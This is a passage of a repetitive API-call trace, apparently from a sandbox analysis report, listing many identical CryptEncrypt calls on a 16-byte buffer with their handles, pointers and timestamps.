pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.878] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.878] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.878] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.878] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.878] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.878] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.878] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.878] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.878] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.878] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.878] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.878] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.878] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.878] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.878] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.879] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.879] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.879] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.879] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.879] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.879] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.879] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.879] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.879] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.879] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.879] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.879] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.879] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.879] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.880] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.880] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.880] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.880] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.880] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.880] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.880] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.880] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.880] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.880] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.880] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.880] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.880] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.880] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.880] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.880] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.881] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.881] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.881] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.881] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.881] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.881] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.881] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.881] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.881] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.881] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.881] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.881] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.881] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.881] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.881] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.882] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.882] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.882] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.882] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.882] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.882] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.882] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.882] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.882] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.882] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.882] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.882] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.882] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.882] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.882] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.882] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.883] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.883] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.883] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.883] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.883] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.883] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.883] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.883] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.883] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.883] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.883] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.883] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.883] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.883] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.884] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.884] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.884] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.884] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.884] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.884] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.884] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.884] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.884] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.884] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.884] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.884] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.884] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.884] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.884] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.885] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.885] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, 